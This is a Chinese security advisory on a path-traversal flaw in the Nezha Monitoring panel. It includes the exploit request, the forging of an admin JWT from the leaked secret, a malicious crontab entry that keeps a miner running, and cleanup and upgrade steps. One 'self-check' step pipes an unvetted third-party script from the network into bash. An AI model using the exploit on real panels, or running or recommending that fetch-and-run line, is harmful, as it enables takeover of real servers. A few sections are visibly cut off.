CVSS 评分:9.1(严重) | 攻击复杂度:低 | 无需任何权限验证
2026年6月,安全研究人员公开了哪吒监控面板(Nezha Monitoring)的一个极高危漏洞——CVE-2026-53519。该漏洞是一个未经认证的路径遍历(Path Traversal)漏洞,允许攻击者在无需任何用户名和密码的情况下,直接读取服务器上的任意文件,并进一步伪造管理员身份接管整个面板。
根据官方公告,该漏洞影响 v2.0.13 之前的所有版本,且已在互联网上被大规模扫描利用。
受影响产品:Nezha Monitoring(哪吒监控面板)
受影响版本:v2.0.13 之前的所有版本
安全版本:v2.0.13 及后续更新版本
该漏洞的核心问题出在 Dashboard 模块的 NoRoute 处理器中。为了处理前端路由,代码使用了 fallbackToFrontend 函数,该函数会检查请求 URL 是否以 /dashboard 开头,如果是则尝试返回对应的静态资源。
然而,漏洞点在于路径匹配使用了字符串前缀(strings.HasPrefix)而非严格的路径段匹配。这导致攻击者可以构造如下恶意请求:
GET /dashboard../data/config.yaml HTTP/1.1
整个攻击过程极为简单,仅需两步即可完全接管面板:
绕过判断:strings.HasPrefix 检查发现字符串以 /dashboard 开头,判定为合法前端请求。
去除前缀:strings.TrimPrefix 截取后得到 ../data/config.yaml。
路径拼接与归一化:程序执行 path.Join("admin-dist", "../data/config.yaml"),path.Join 函数会将路径进行归一化,最终生成为 data/config.yaml。
文件返回:os.Stat 找到该文件,http.ServeFile 直接将其内容返回给攻击者。
通过这一步,攻击者可以轻易获取 /data/config.yaml 文件,其中包含了:
数据库连接信息
管理员账号与哈希密码
JWT 密钥(jwt_secret_key)
OAuth2 凭证
虽然管理员密码是哈希加密的,但攻击者可以利用泄露的 jwt_secret_key,使用 HS256 算法自行伪造一个有效的管理员 JWT Cookie。只需知道管理员 ID(通常为 1),攻击者即可实现免密登录,直接获得最高管理员权限,完全控制面板及所有监控节点。
哪吒探针机器的 root crontab 里被植入了以下恶意条目:
* * * * * pgrep -x .kworker_u8 > /dev/null || /dev/shm/.kworker_u8 > /dev/null 2>&1 &
* * * * * pgrep -x .kworker_u8 > /dev/null || /dev/shm/.kworker_u8 > /dev/null 2>&1 &
伪装方式:程序名模仿 Linux 内核线程(kworker、rcuop等),并在名字里插入零宽度不可见 Unicode 字符,绕过普通字符串匹配检测。
藏匿位置:挖矿二进制文件放在 /dev/shm/(内存文件系统),重启自动消失,不落盘,极难取证。
持久化方式:通过 crontab 每分钟检查进程是否存活,进程不在就重新启动,实现保活。
入侵途径:哪吒探针已知漏洞,攻击者通过面板远程命令执行功能批量向所有 agent 下发恶意 crontab,所有未禁用命令执行的服务器均受影响。
crontab -l
查看是否有包含 /dev/shm/ 路径和 pgrep 的可疑条目,名字里可能含有不可见字符。
ls -la /dev/shm/
查看是否有以点开头的隐藏可执行文件。
ps auxf | grep -E '\./|/dev/shm'
或使用哪吒入侵自查脚本一键检测:
bash <(curl -fsSL https://testingcf.jsdelivr.net/gh/heggoodtrefz680-prog/xiadaogu@main/nezha_ioc_check.sh)
grep 'Accepted password' /var/log/auth.log | tail -20
确认是否有陌生 IP 成功登录。
如果 crontab 里只有恶意条目:
crontab -r
crontab -l # 验证已清空
如果 crontab 里还有正常业务条目,手动删除恶意行:
crontab -e # 找到恶意两行,Ctrl+K 删除,Ctrl+X 保存退出
杀掉内存中仍在运行的挖矿进程:
# 找到 PID
ps auxf | grep '/dev/shm'
# 杀掉
kill -9 <PID>
清理 /dev/shm 下的恶意文件:
find /dev/shm -type f -name '.*' -delete
ls -la /dev/shm/ # 验证已清空
编辑 /opt/nezha/agent/config.yml,添加或修改为:
disable_command_execute: true
注意确保文件里只有一行此配置,不要重复。然后重启 agent:
systemctl restart nezha-agent
cd /opt/nezha/dashboard
docker compose pull
docker compose up -d
⚠️ 执行前确认已配置好密钥登录,否则会把自己锁在外面。
sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd
在云控制台安全组:
官方已在 v2.0.13 版本中修复了此漏洞。修复方式是在 filepath.Join 后增加了 filepath.Abs 获取绝对路径,并使用 strings.HasPrefix(absPath, safeDirAdmin) 严格验证路径是否在允许的目录范围内,超出则返回 400 错误-5。
操作步骤:
登录服务器,执行官方提供的更新脚本或使用 Docker 拉取最新镜像。
务必确保后端面板和 Agent 均升级到一致的最新版本。
建议开启自动更新功能
docker pull nezhahq/nezha-dashboard:latest docker-compose down && docker-compose up -d
这次入侵的核心教训是:哪吒探针的命令执行功能(disable_command_execute)默认开启,一旦面板被攻破,所有 agent 都会沦陷。建议所有哪吒用户立即检查并关闭此功能,同时升级面板到最新版本。
参考链接: